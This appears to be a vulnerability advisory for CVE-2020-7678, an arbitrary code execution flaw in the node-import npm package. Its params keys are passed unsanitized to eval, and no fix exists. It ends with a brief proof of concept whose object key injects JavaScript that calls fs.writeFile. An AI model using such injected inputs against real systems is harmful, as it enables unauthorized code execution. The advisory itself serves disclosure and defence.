Arbitrary Code Execution Affecting node-import package, versions *


Severity

Recommended
0.0
high
0
10

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Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.23% (63rd percentile)

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  • Snyk IDSNYK-JS-NODEIMPORT-571691
  • published15 Jun 2020
  • disclosed15 Jun 2020
  • creditJHU System Security Lab

Introduced: 15 Jun 2020

CVE-2020-7678  (opens in a new tab)
CWE-78  (opens in a new tab)
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How to fix?

There is no fixed version for node-import.

Overview

node-import is a package that imports dependencies and run it directly or concatenate them and exports to file.

Affected versions of this package are vulnerable to Arbitrary Code Execution. The "params" argument of module function can be controlled by users without any sanitization.b. This is then provided to the “eval” function located in line 79 in the index file "index.js".

PoC

var a = require("node-import");
var params = {
  'fs=require("fs");fs.writeFile("JHU");//':123
}
a.module('',params,true)

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